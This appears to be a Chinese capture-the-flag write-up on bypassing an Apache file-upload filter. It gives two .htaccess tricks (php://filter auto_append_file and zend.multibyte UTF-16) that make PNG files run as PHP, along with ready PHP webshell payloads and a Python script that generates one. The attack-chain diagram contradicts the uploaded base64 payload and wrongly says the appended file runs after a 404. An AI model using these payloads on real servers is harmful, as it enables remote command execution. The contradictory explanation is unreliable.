方法一
上传.htaccess
在请求头中发现是Apache,那么可以尝试上传.htacces绕过

满足使用.htaccess的条件:
1、目标服务器必须运行 Apache HTTP Server,或者使用了兼容 .htaccess 语法的服务器
2、Apache 的主配置文件(httpd.conf 或 apache2.conf)中,针对上传目录所在的配置块,AllowOverride 指令必须设置为 All,或者至少包含 FileInfo、Limit 等允许修改文件处理行为的选项
3、网站的文件上传功能没有对文件名进行严格的白名单校验,允许上传以 . 开头的文件
4、文件上传所在的目录在服务器配置中允许执行脚本代码
5、 攻击者需要知道 .htaccess 文件被上传到了哪个具体的 URL 路径。.htaccess 的作用范围通常是当前目录及其子目录。攻击者必须将 .htaccess 上传到与恶意脚本(如图片马)相同的目录,或者其父目录,才能对该脚本生效。
在上传.htaccess的时候出现下面的提示

通过\来绕过关键字过滤
.htaccess配合PHP的流过滤器进行base64解码,绕过webshell的关键字过滤
那么通过反斜杠来进行绕过,反斜杠 \ 在行尾表示"续行",下一行会直接拼接到当前行末尾,反斜杠和换行符被忽略
AddType application/x-httpd-php png
php_value auto_append_fi\
le "php://filter/convert.base64-decode/resource=5.png"
.htaccess的内容大致就是将png也作为php文件进行解析,同时每当该目录下任意 PHP 文件执行完毕后,PHP 引擎会自动读取 5.png,通过流过滤器对其进行 base64 解码,并将解码结果当作 PHP 代码直接执行。

发现可以正常上传
Base64对webshell进行编码
这里我们使用base64编码对webshell进行编码,写入到5.png文件中并上传

PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==

得到flag


该方法的攻击链如下
┌─────────────────────────────────────────┐
│ Step 0: 攻击者发起请求 │
│ URL: /upload/5.php?cmd=whoami │
└─────────────────────────────────────────┘
↓
┌─────────────────────────────────────────┐
│ Step 1: Apache 接收请求 │
│ • 识别文件: 5.php │
│ • 识别后缀: .php → 交给 PHP 引擎处理 │
│ • 读取 .htaccess 配置(当前目录) │
│ • 加载 auto_append_file 配置 │
└─────────────────────────────────────────┘
↓
┌─────────────────────────────────────────┐
│ Step 2: 执行主脚本 5.php │
│ • 如果 5.php 存在 → 执行其中代码 │
│ • 如果 5.php 不存在 → 返回 404 │
│ │
│ ⚠️ 关键:无论 5.php 执行结果如何 │
│ auto_append_file 都会在之后触发! │
└─────────────────────────────────────────┘
↓
┌─────────────────────────────────────────┐
│ Step 3: auto_append_file 触发 ⭐ │
│ • 主脚本执行完毕 │
│ • PHP 处理 auto_append_file 配置项 │
│ • 解析值: "php://filter/.../resource=5.png"│
└─────────────────────────────────────────┘
↓
┌─────────────────────────────────────────┐
│ Step 4: php://filter 流处理 ⭐ │
│ • 打开 5.png 文件,读取原始内容 │
│ • 内容: PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+ │
│ • 传入过滤器: convert.base64-decode │
│ • 过滤器输出: <?php system($_GET['cmd']); ?> │
└─────────────────────────────────────────┘
↓
┌─────────────────────────────────────────┐
│ Step 5: 执行解码后的 PHP 代码 ⭐ │
│ • PHP 引擎解析: <?php system(...); ?> │
│ • 执行: system($_GET['cmd']) │
│ • $_GET['cmd'] = 'whoami' │
│ • 系统执行: whoami 命令 │
│ • 返回结果: www-data / uid=33... │
└─────────────────────────────────────────┘
↓
┌─────────────────────────────────────────┐
│ Step 6: 响应返回给攻击者 │
│ • 浏览器/攻击工具收到命令执行结果 │
│ • 攻击者获得服务器控制权 ✅ │
└─────────────────────────────────────────┘
方法二
上传.htaccess
开启多字节编码支持
这里跟方法一同理,都是将.png文件作为php来运行
#define width 1337
#define height 1337
AddType application/x-httpd-php .png
php_value zend.multibyte 1
php_value zend.detect_unicode 1
php_value display_errors 1

由于上传会对"file"关键字进行拦截,因此这个方法直接避开了file关键字,让服务器可以对多字节编码进行支持
这样.htaccess即可避免"file"关键字拦截,又可以让webshell里面的相关内容不被过滤拦截
这里采用的UTF-16的编码方式
将.htaccess上传

使用UTF-16对webshell进行编码绕过关键字过滤
对于webshell进行UTF-16编码,可以使用下面的脚本文件
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# UTF-16LE WebShell 生成器
payload = "<?php system($_GET['cmd']); ?>"
# 编码为 UTF-16LE(Little Endian,无 BOM)
utf16_payload = payload.encode('utf-16-le')
# 写入二进制文件
with open('shell.png', 'wb') as f:
f.write(utf16_payload)
print(f"[+] UTF-16LE WebShell 已生成: shell.png")
print(f"[+] 原始长度: {len(payload)} 字节")
print(f"[+] 编码后长度: {len(utf16_payload)} 字节")
print(f"[+] 前20字节预览: {utf16_payload[:20].hex()}")


get shell
